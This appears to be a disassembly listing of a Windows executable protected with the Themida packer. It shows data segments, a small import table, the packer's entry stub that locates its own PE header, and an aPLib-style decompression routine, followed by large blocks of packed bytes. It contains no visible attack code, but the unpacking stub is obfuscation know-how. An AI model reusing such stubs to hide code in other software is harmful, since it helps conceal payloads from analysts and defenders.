dword_4CF004	dd 0			; DATA XREF: sub_41E92D+6Ew
					; sub_41E92D+12Bw ...
dword_4CF008	dd 0			; DATA XREF: sub_41B3E6+5r
					; sub_41B3E6+32w
dword_4CF00C	dd 0			; DATA XREF: sub_41ADB4+23Ar
					; sub_41ADB4+25Ar ...
dword_4CF010	dd 0			; DATA XREF: sub_41ADB4+311w
					; sub_41B0DD:loc_41B12Dr ...
dword_4CF014	dd 0			; DATA XREF: sub_41ADB4+22Dr
					; sub_41ADB4+260r ...
dword_4CF018	dd 0			; DATA XREF: sub_41AD89r
					; sub_41ADB4+2CBr ...
dword_4CF01C	dd 0			; DATA XREF: sub_41AD89+8r
					; sub_41ADB4+2D0r ...
dword_4CF020	dd 0			; DATA XREF: sub_417BC7+Fr
					; sub_41944F+5Cr ...
dword_4CF024	dd 2440000h		; DATA XREF: sub_417BC7+66r
					; sub_417C3B+5Ar ...
dword_4CF028	dd 1			; DATA XREF: sub_417BC7r sub_417C3B+Cr ...
dword_4CF02C	dd 142340h		; DATA XREF: ___:0041F13Er
					; ___:0041F269r
dword_4CF030	dd 1			; DATA XREF: ___:0041F234w sub_421DAEr
dword_4CF034	dd 1			; DATA XREF: sub_41ECF1r
					; sub_41ECF1+11w ...
dword_4CF038	dd 2440758h		; DATA XREF: sub_418603+13r
					; sub_418603:loc_418645r ...
dword_4CF03C	dd 2440758h		; DATA XREF: sub_418603+1r
					; sub_418603+Cr ...
		dd 3F0h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000D1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4D1000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000D2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000D2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4D2000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0D2050h, 0D2000h, 3 dup(0)
		dd 0D2079h, 0D200Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000D3000)
; Virtual size			: 000F8000 (1015808.)
; Section size in file		: 000F8000 (1015808.)
; Offset to raw	data for section: 000D3000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4D3000h
		dd 859235C9h, 49E45h, 5FEBEh, 98172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004D3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C6A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053FC71 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053FEE7 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4D3086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4D3041
		popa
		jmp	short loc_4D3076
; ---------------------------------------------------------------------------
a70m		db 'Û-70M',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4D3041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4D304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4D306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4D3074


loc_4D306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4D304E
; ---------------------------------------------------------------------------


loc_4D3074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4D3076:				; CODE XREF: start+1Bj
		jmp	loc_4D3265
; ---------------------------------------------------------------------------
		db 3
aJ2		db 'ǹj2',0Dh,0
		dw 0CF03h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4D3086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C6A8
		mov	ecx, offset word_4D326A
		push	eax
		push	ecx
		call	sub_4D311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4D3265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(“ÉäŠx¼^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4D311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4D3127:				; CODE XREF: sub_4D311B:loc_4D313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4D3132:				; CODE XREF: sub_4D311B+7Aj
					; sub_4D311B+C3j ...
		add	dl, dl
		jnz	short loc_4D313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D313B:				; CODE XREF: sub_4D311B+19j
		jnb	short loc_4D3127
		add	dl, dl
		jnz	short loc_4D3146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3146:				; CODE XREF: sub_4D311B+24j
		jnb	short loc_4D3197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4D3153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3153:				; CODE XREF: sub_4D311B+31j
		jnb	loc_4D3238
		add	dl, dl
		jnz	short loc_4D3162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3162:				; CODE XREF: sub_4D311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D316D:				; CODE XREF: sub_4D311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3178:				; CODE XREF: sub_4D311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D3183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3183:				; CODE XREF: sub_4D311B+61j
		adc	eax, eax
		jz	short loc_4D318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4D318D:				; CODE XREF: sub_4D311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3197:				; CODE XREF: sub_4D311B:loc_4D3146j
		mov	eax, 1


loc_4D319C:				; CODE XREF: sub_4D311B:loc_4D31B0j
		add	dl, dl
		jnz	short loc_4D31A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31A5:				; CODE XREF: sub_4D311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4D31B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31B0:				; CODE XREF: sub_4D311B+8Ej
		jb	short loc_4D319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4D31E3
		mov	ecx, 1


loc_4D31C0:				; CODE XREF: sub_4D311B:loc_4D31D4j
		add	dl, dl
		jnz	short loc_4D31C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31C9:				; CODE XREF: sub_4D311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D31D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31D4:				; CODE XREF: sub_4D311B+B2j
		jb	short loc_4D31C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D31E3:				; CODE XREF: sub_4D311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4D31F1:				; CODE XREF: sub_4D311B:loc_4D3205j
		add	dl, dl
		jnz	short loc_4D31FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D31FA:				; CODE XREF: sub_4D311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4D3205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4D3205:				; CODE XREF: sub_4D311B+E3j
		jb	short loc_4D31F1
		cmp	eax, 7D00h
		jnb	short loc_4D3228
		cmp	eax, 500h
		jb	short loc_4D3223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3223:				; CODE XREF: sub_4D311B+F8j
		cmp	eax, 7Fh
		ja	short loc_4D322B


loc_4D3228:				; CODE XREF: sub_4D311B+F1j
		add	ecx, 2


loc_4D322B:				; CODE XREF: sub_4D311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3238:				; CODE XREF: sub_4D311B:loc_4D3153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4D3259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4D3132
; ---------------------------------------------------------------------------


loc_4D3259:				; CODE XREF: sub_4D311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4D311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4D3265:				; CODE XREF: start:loc_4D3076j
					; start+9Dj
		jmp	loc_53C6A8
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4D326A	dw 38E9h		; DATA XREF: start+77o
		dd 15235C4h, 8B36BCBAh,	1F33E84h, 0F8AF2F84h, 7B848B71h
		dd 685400BFh, 64696D65h, 0EA1EE161h, 1BE13522h,	0E178FCFFh
		dd 33E2FA1Eh, 0FF0BE11Eh, 0FFB0BDF5h, 5E0392CDh, 190EAD4h
		dd 52F1BAAAh, 0A0375B03h, 39747365h, 419C7261h,	9F2E5E70h
		dd 0F5D32C78h, 68352F7Fh, 0B8217975h, 0FCAE4303h, 2F848B11h
		dd 43B898C8h, 44A6F5BAh, 3D124BCh, 190BB70h, 0EE2288ABh
		dd 728BFC11h, 60D41CC5h, 5D0022E8h, 35D3ED81h, 7989062Bh
		dd 0D016195h, 1109BDB5h, 7EA1585h, 1999B283h, 0C74010Eh
		dd 0E2C8E88Bh, 7BD1A4B8h, 4470C9C2h, 53E140Ch, 186A2A40h
		dd 29A3E845h, 741E9A68h, 0DF940783h, 4B25070Ah,	0D5A40A89h
		dd 214E942h, 7DFC45h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B0036C1h
		fcmovb	st, st(7)	; CODE XREF: Themida_:004D336Aj
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		rep sub	dword ptr [ebx], 30h
		inc	ebp
		call	dword ptr [edx]
		inc	ebx
		jmp	short near ptr loc_4D334C+1
; ---------------------------------------------------------------------------
		dd 61DC36C6h, 28C9E826h, 0D4604C2h, 0FF7CC481h,	0A491C02h
		dd 18D3740h, 5D8B8045h,	4485C708h, 8D504A19h, 0C3D1000Ah
		dd 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h,	64BA8D28h
		dd 800475ECh, 0F4BB0E8Ah, 0ABB85B90h, 78540F37h, 0FCCD0D3h
		dd 753B4B08h, 0C3AF05F7h, 4A244647h, 0A2F94662h, 0BA61D142h
		dd 0F0D0078Ah, 45EED85Fh, 0EB4DA0FCh, 0C8ADA304h, 0C53E8046h
		dd 36BAF740h, 7DE63484h, 7FEB0C19h, 6D0CF83Eh, 4CF012C8h
		dd 10A8F40Eh, 6514C14Ah, 3D604F0h, 3E0D1F8h, 12896C2h
		dd 1C8ADB33h, 0CCFB8030h, 0AC30A72h, 0D3057739h, 2226EFEBh
		dd 67617F14h, 0F6660A0Dh, 0F4F51E08h, 10EA0AC3h, 72411AC3h
		dd 460A0D0Bh, 0EA240677h, 0F05D0121h, 83F4EC87h, 7202317Dh
		dd 0C00CB3B0h, 64A57676h, 1CF826AAh, 0A08D76E0h, 0A553BA8h
		dd 78820FFCh, 1BB09CBDh, 0EE538AAh, 0B90E08BAh,	84FC700Ah
		dd 3850BDh, 49470FFEh, 0B9FA2675h, 0C06A1DAAh, 0E3101BBh
		dd 0EB7682F1h, 8E8002DDh, 2C3A8986h, 65513807h,	0DC45363Fh
		dd 13EF268Ah, 5947E4E9h, 9657F76Bh, 211C1304h, 8A80C45Fh
		dd 82052575h, 1908CC45h, 57004721h, 8F36E9C4h, 0E3617EAFh
		dd 1F800FDDh, 51D428FFh, 7F0F02DDh, 20D2C5DAh, 60334A8Dh
		dd 290660EAh, 0B41C92ECh, 6762D901h, 3976F182h,	19CC81D8h
		dd 16C32C94h, 935EE1F4h, 0AB4CF1B8h, 3E410Dh, 0EA2F4407h
		dd 0D8817353h, 0E771D21Eh, 0A2231418h, 0BD0C074Fh, 308F75C0h
		dd 55CA5817h, 325F7E00h, 0B57D7BFCh, 0CB8C1C5Ch, 39703034h
		dd 76005B4Eh, 51B8100Fh, 0F8D1043Dh, 0C346EC3Bh, 2E097556h
		dd 0E0211ABh, 65E4EC48h, 0A06C8F90h, 8E05C584h,	0C69C5496h
		dd 40A8F53h, 8C8A29C2h,	0E71BBA71h, 44F4760Eh, 773081FFh
		dd 341D2204h, 0F98406C1h, 0BC207533h, 0ADD3F41h, 309CEFD9h
		dd 0EC41CE02h, 0CC7F8C26h, 4043FF7Eh, 0E9A9453Fh, 0C4624060h
		dd 4D028C52h, 0AA821125h, 0AB3413B1h, 1322845Ah, 0A2C4656h
		dd 0A7EE825Eh, 444DA881h, 0B9FA8A65h, 230513A2h, 52432897h
		dd 806FE96Fh, 10C1AA78h, 0CCC3006Dh, 0F193B70Fh, 0BF06FD64h
		dd 15E93306h, 0C246382Bh, 7A121C00h, 0F736939h,	8E594000h
		dd 9C809981h, 3BE91AC8h, 9E03025Ch, 50EF4ED4h, 0B561DA8Dh
		dd 1F457348h, 0BCC005E2h, 0CA0B60CEh, 39863110h, 0DDC8F965h
		dd 0D474F302h, 23A617D4h, 0C45E0E56h, 626D8A44h, 5646201Ch
		dd 0FF009AC4h, 0F17664F8h, 1D10BA4Dh, 31EADCC0h, 49E08C27h
		dd 8B20EE37h, 0FA8AF9FBh, 1A0C6C1Eh, 398C5880h,	8A11C460h
		dd 841A887Dh, 0C0C45848h, 0B0C5804Fh, 0EC81660Eh, 19D46610h
		dd 1CDE205Ah, 3509E930h, 0B62841h, 0EF846F96h, 831EB9F8h
		dd 5C7C4900h, 82F2E681h, 8CF46EC4h, 0FFA40032h,	158CF734h
		dd 0C8E867E8h, 0AB035B98h, 0E97EBA9Ah, 305B0012h, 6911313Dh
		dd 5700C11Bh, 0E07966CAh, 7954DE45h, 3A5A6032h,	301569A0h
		dd 0E60CE9ECh, 183FF6BFh, 0C01806A2h, 530BEA37h, 3003C80Fh
		dd 58BA363h, 8ACAA988h,	3E528898h, 2330B897h, 42EF581Ah
		dd 0D4B14CB0h, 674CEA06h, 0C7340C8Ah, 5540193Eh, 0BB344CEDh
		dd 0BA5900DCh, 9303517Ah, 64060EA5h, 0F912C18Ch, 0E9FF1C54h
		dd 1E483896h, 57041E22h, 0EA5A9AB2h, 110AC8h, 3BF21632h
		dd 78085E94h, 0C44EF600h, 1CA5E1EDh, 0F48A0445h, 898B10C0h
		dd 0D85C4092h, 0EA2C48D9h, 0A98E9D4Fh, 771CC0B2h, 4BE0BFh
		dd 0DD5909DCh, 0BB8F8A0Ah, 2CD36900h, 6CEBE48Eh, 38D80065h
		dd 983FB2FCh, 23008359h, 94A33178h, 0F48070h, 3B8AC565h
		dd 549CE043h, 1B00A672h, 87AADC8Eh, 0F8657EA5h,	0F80B0085h
		dd 0FA3808B4h, 3F005CD1h, 6FF451EAh, 9D73C5h, 4E9CB59Bh
		dd 0A692F3ADh, 0E66C4A07h, 0B407453h, 1FB369A3h, 0D81836h
		dd 7AA2DA03h, 0CB010E73h, 0F394A460h, 0B9BC1D6Fh, 0D968187Eh
		dd 0BDB4A01Ch, 0F432B824h, 0A76F4900h, 1833B65Ah, 30A59FFAh
		dd 6D3A9D1Ah, 764061EDh, 78C377F5h, 4274918h, 0C5626A00h
		dd 9BAC3A1Ch, 0D4365C01h, 0EAE48DB6h, 128E8h, 2B5A3864h
		dd 21E85786h, 7A5BA48h,	0C7A2317h, 0C29C004Fh, 1E9AE132h
		dd 0D8C0770Bh, 19451826h, 699FAB00h, 0FC57462Dh, 0D0483A39h
		dd 0DD628A0Ch, 49102430h, 187C2547h, 18C750E2h,	69CE77D5h
		dd 3C620043h, 60E647E5h, 73A28127h, 5E008729h, 8FCE1ADBh
		dd 1714A69h, 6B4DEE43h,	807E24CAh, 5AD5AE59h, 3CFC8F7h
		dd 0DA94ABA4h, 6811C370h, 211EC5FFh, 3A8E8031h,	0BA0A9753h
		dd 0B286ED00h, 1D287120h, 2A47698h, 1469EF63h, 5081D1A9h
		dd 14BA310h, 80E22485h,	5E92FA68h, 5B7680F2h, 7D85A500h
		dd 0D86C0A46h, 7EBE3EBFh, 0A810BB50h, 3EB06998h, 0D1808B6Ah
		dd 425D219Fh, 0BD00C322h, 636EA226h, 18F51D8Ch,	81C7A514h
		dd 0B6FFBC9h, 0CB978641h, 3885FE19h, 4B149E9Dh,	4200BC15h
		dd 0FCF24361h, 0F060E6BAh, 6D8BA898h, 68A05014h, 318107Bh
		dd 3E650247h, 90293BFFh, 80762DDCh, 81442477h, 6F2800AFh
		dd 0F13723E4h, 9003FD3Eh, 0EFC588C8h, 86AD88ACh, 980C28AAh
		dd 0D54503A4h, 7B48249Dh, 768C4140h, 11FDCA30h,	3EA07E45h
		dd 1E067111h, 80387057h, 33C20B00h, 207E6F80h, 41691D3Eh
		dd 12F08677h, 2E0CB050h, 6899A0BAh, 79E2E0ABh, 9EB0C258h
		dd 4048CBF8h, 2949E620h, 0A5AE0B24h, 6F33008Dh,	4C9B64B3h
		dd 22182F46h, 4C24608Eh, 0A50BE8A4h, 809EEF88h,	0C3CAC8FEh
		dd 22BCA409h, 437ED1A3h, 90368A30h, 0E920DA92h,	9EF0C107h
		dd 0B2188632h, 31C9FEh,	1802787Fh, 1F10FFF8h, 0C8349A02h
		dd 44D4F10Eh, 271A1438h, 94064445h, 0D8E67CE2h,	0C6CA670Ch
		dd 18558939h, 29762471h, 0F83FD1B2h, 0B7A4000Dh, 0ED734F99h
		dd 0DDE705E9h, 0A94CA60h, 1D095BCh, 9E7EEE23h, 0FE8C5133h
		dd 67A19ECAh, 9D9BBDC0h, 1712D5C6h, 1875E9Fh, 0C80EB24Bh
		dd 0F4DC20ABh, 5066D740h, 0A24023h, 24C1AEF3h, 63A5EAD3h
		dd 0A6B4EC00h, 959E20CFh, 0AA7E05ACh, 1123FF8h,	0BEC244CCh
		dd 0CA489CEFh, 0D93B3178h, 998030E6h, 4329F644h, 0BB0071F7h
		dd 65821849h, 3B8AAFD4h, 0CE033907h, 433F4189h,	4048F3F1h
		dd 0C5FEA8B8h, 332288h,	276872D6h, 0D9097021h, 0C9778328h
		dd 0A1D054A0h, 484EAB80h, 0A0877892h, 0A85956F8h, 27334579h
		dd 143B6811h, 0E2471799h, 24705530h, 2054A1FCh,	0BC019DE0h
		dd 8AFB1AA8h, 509C7D4Ah, 21D980A3h, 49D8D159h, 5006C7Ch
		dd 0AEB892B4h, 19D1828h, 83DE3051h, 0CC52CEFAh,	0C900F899h
		dd 0EA88047Dh, 3C875B45h, 6B8301EDh, 0CEA726E6h, 0E07C3EC1h
		dd 0B57C8B52h, 0BBBE9600h, 0D8091551h, 112F8E8h, 4066D09Ah
		dd 20F01C38h, 0E10988AAh, 8016050Bh, 58780450h,	14D9030Ah
		dd 22074E75h, 0F8850A8h, 745C80A0h, 83F892FBh, 0AC5E467h
		dd 8C86D840h, 98334002h, 30472040h, 0C8FCFA4Dh,	80A59E80h
		dd 7DE5C4D5h, 0E030589Eh, 0CEA4300Bh, 18E40AF5h, 2AC41C7h
		dd 404F231Ah, 23A51849h, 0DE79000Ch, 56ABD29Eh,	430E0021h
		dd 281D2D05h, 42002FC0h, 0C8FAB19Fh, 2657E680h,	62A0A114h
		dd 26210C01h, 0D824B8DAh, 2078989Ah, 7D00EC12h,	732A034Ch
		dd 61E6F7ACh, 9C49791Ch, 0B1C8E3D8h, 0B21A2620h, 40407C0Ch
		dd 803DDFA4h, 0CD0CF5DEh, 39258A7Eh, 81C460FEh,	0B7D85D18h
		dd 8A498B03h, 0A2428F16h
		dd 3E5C684Eh, 363C204Fh, 0C51DF704h, 3CCCC4CAh,	0F0108696h
		dd 88133CFAh, 0E61C066Bh, 2009712Fh, 2BC330h, 0A60D9B18h
		dd 0EECBFC55h, 0DB131D83h, 204D93CFh, 0F8A28638h, 545C814Dh
		dd 0F658C274h, 44511170h, 0EE989075h, 1A21886Bh, 0FC03501Ah
		dd 155048BCh, 8EA4A00Ch, 1BE780C8h, 0BAA07616h,	79505459h
		dd 0BB145C11h, 6CA280D9h, 0BC6E2C39h, 0A0C10016h, 0FBF72DC8h
		dd 0D50C35C6h, 39D24D26h, 549EE444h, 429F307Dh,	813A118Ah
		dd 1D877E08h, 0F716053Eh, 0AC192C0Bh, 20F64C51h, 6A86BA5h
		dd 76931300h, 9E143BB9h, 2446045Ah, 0C4F0C417h,	0A0B404EBh
		dd 146DC0E3h, 20A13D4h,	981280CDh, 17811B18h, 1F0C30BFh
		dd 0FC7185D9h, 38BC184Ch, 868B0148h, 0AB1447E6h, 0FF114823h
		dd 1040580Bh, 0B90FA178h, 187C1E23h, 0C810106Ch, 27C3259h
		dd 0E4489E25h, 6B8C482Dh, 0FC602CD4h, 0A4AC0958h, 40C51404h
		dd 0ED670C9Ah, 0A797C2Eh, 0DFA412CCh, 3A00268Ch, 6B82D745h
		dd 14F7FCC8h, 50D49D28h, 0E68810E2h, 8031C023h,	82E5A0D2h
		dd 0A96AC700h, 0F40621A6h, 0B51B2CDAh, 0C25B60B8h, 0CC0062EEh
		dd 768B1FBEh, 71F6F098h, 0E4A70EABh, 9E8FE7BDh,	92E2C746h
		dd 5F615EE0h, 0EBA7C88h, 0F0882C25h, 889F607Fh,	28268826h
		dd 5E251038h, 4EC0AC58h, 520F77E4h, 0E2F59F00h,	9271A2EBh
		dd 35550058h, 99AC8BD2h, 1093947Eh, 38385708h, 49B68A07h
		dd 4477C3B2h, 411ECE81h, 48A414BCh, 484923ACh, 0C0B80020h
		dd 7E4C163Fh, 9034F00Fh, 66D82094h, 22449848h, 4324241Ch
		dd 854D40A8h, 0A30BF6CDh, 0B84726E0h, 44E4C90h,	0BDC6B1FDh
		dd 840CC17Eh, 0DAFA0031h, 8C8D5003h, 0D45F3316h, 94E3FC19h
		dd 98A80ABCh, 14D286C7h, 18746472h, 29E2AEBAh, 3240C7F8h
		dd 777E00A4h, 58220DB1h, 5E4DC845h, 48047C68h, 168775FAh
		dd 85CC0F45h, 8884C026h, 0C848CAEEh, 0AA268164h, 0C20070A8h
		dd 19CF9F5Bh, 870C7C85h, 492F710Eh, 492803Dh, 46C2CA8h
		dd 888142FCh, 23019F44h, 18297Ch, 265C13Bh, 189ACC47h
		dd 9942E6CEh, 3077D1Bh,	70341D1Eh, 0E081A9E4h, 87003FA6h
		dd 3907C0EBh, 83800DCDh, 4D53E630h, 44E82C23h, 8CA824F9h
		dd 0FBD0F107h, 8407F1D2h, 0D54354F9h, 3C94E081h, 0D6F815E3h
		dd 76019026h, 48E27C86h, 5DAC41C4h, 92D428CAh, 476CB004h
		dd 142AC503h, 306839C2h, 0F099FECAh, 18CF9D90h,	0D40648E8h
		dd 0F19DB08h, 8E29C9A1h, 5A94EEA7h, 2E6200D1h, 19DA7140h
		dd 80A0CB5Dh, 3C3BA0F6h, 0E620002h, 18E817F3h, 570C94A1h
		dd 307A80E6h, 30BA2686h, 44F4AA3Ch, 0F9013A26h,	7460DC15h
		dd 2FD9B156h, 26FF0BF0h, 9E106F3Eh, 80F029C3h, 80F6FB19h
		dd 2A34C848h, 0B4C1C05Bh, 43037110h, 913B84E7h,	11CFA3A8h
		dd 81FD589Ah, 562038BEh, 50A9190Bh, 5A28A308h, 25692911h
		dd 0CB9FC204h, 9C50AA00h, 88649661h, 0EC2CE732h, 0B760DB08h
		dd 1244C480h, 7F7BB060h, 12490EF8h, 41804CD4h, 3A73A49Bh
		dd 6F261470h, 42441408h, 1BF118A1h, 8E7A6888h, 0A04FDD06h
		dd 6DB703B9h, 0D17C2781h, 35697FD0h, 0BD6C7301h, 7AD8CD24h
		dd 9B478C42h, 44E6E198h, 0EB607EE0h, 282367F4h,	62744932h
		dd 88B50815h, 4FE7E0C3h, 23DC4596h, 1CBCC7A2h, 0BE7D2289h
		dd 8CB938DDh, 0D044671Fh, 3ACB5C89h, 9E297630h,	8CA8A850h
		dd 0CD64FDFAh, 0F7022468h, 0F4484A3Ah, 8A8B9E0h, 0B8AAA4E6h
		dd 0A23EAC14h, 60D40CCh, 0B0DA88AEh, 651DE882h,	79B08ACAh
		dd 1A029923h, 21A4DAA1h, 8CC24C62h, 0AAE04C68h,	18B2C22Ah
		dd 6A54F0F6h, 9832A08Ch, 20D871B7h, 0F76663B2h,	21C45D12h
		dd 0A677A30Fh, 66D0A58Ah, 4182C053h, 23E07E0Ah,	5D89AC67h
		dd 97241121h, 8FA85500h, 0E0E9697Ch, 430061FCh,	1767ADCEh
		dd 0EC2499B9h, 10B9D698h, 21094CA7h, 0F02063FEh, 28D05C83h
		dd 0ED2FB80h, 54F86D14h, 0A78A1580h, 9B0070C3h,	0A029BF85h
		dd 7358B2h, 932B8E43h, 37A31252h, 0B55C2C00h, 14B288E9h
		dd 96D50078h, 9CC40D21h, 6C00BF95h, 89E6BE9Bh, 0D3BDF5h
		dd 67259073h, 0C9AF1355h, 0E7B340C1h, 0C700ADA1h, 0E8780496h
		dd 0B50F95FEh, 0A0238198h, 7354E7BEh, 0B7E677h,	0E4025562h
		dd 271E2B37h, 9795E800h, 45C98114h, 2487F012h, 48C89FAFh
		dd 0A87ED504h, 9CE74F8h, 0A1EA1050h, 69C0D800h,	0A6FA2B77h
		dd 7913BA00h, 686A8B84h, 3F1EE4Bh, 2C5D31C9h, 46B89EE9h
		dd 40C1D57Ch, 0DEF28A0Ch, 8D7130h, 0E7911723h, 88524846h
		dd 129B2500h, 635990B8h, 0BC0066Bh, 4014F5A6h, 16FA5208h
		dd 63BC0095h, 8920C07Eh, 6C60E701h, 8EB88750h, 57DE0E6h
		dd 0BC780070h, 46B08F0Bh, 3D00C37Dh, 0F2B6E2FAh, 3C6EBEC5h
		dd 384CC07Fh, 5D94CB24h, 0C9660074h, 94110653h,	0BF39989Ch
		dd 21238063h, 705BE792h, 27543D52h, 1DDD4BAEh, 0B57B4003h
		dd 4795CA1Eh, 80D5733Eh, 0B9C9150Bh, 1D6C70DFh,	8013BD77h
		dd 47764CA2h, 0DC002D99h, 3DD3BB26h, 18325F5Ch,	40EFC716h
		dd 82045CFh, 70E41Ah, 1F239A9Dh, 7458B4DEh, 0C18A4E01h
		dd 0E7145FDDh, 26B8360h, 97A20F32h, 7AE3B148h, 9CC8E8E8h
		dd 96B3C300h, 0D41F319Ah, 558CB315h, 5BD1F8h, 796F875h
		dd 0CA9CB70Dh, 8967C001h, 0E5D4232Eh, 807C79D8h, 15004E8Eh
		dd 633037EAh, 3A1E2FFh,	0F86F1496h, 8BF80B57h, 0B901DFB3h
		dd 0E3269973h, 0B1F4B2BAh
		db 84h,	78h
word_4D4152	dw 0E86h		; DATA XREF: ___:off_42E644o
		dd 7C0753DEh, 60405D47h, 45F28EEAh, 50FCB107h, 96801303h
		dd 63ACDAh, 0A529B98Ah,	497869E7h, 0DDB7891Dh, 6A30038h
		dd 0E3C25F46h, 22AD00A5h, 104EE7B1h, 0B24CC8E9h, 44980012h
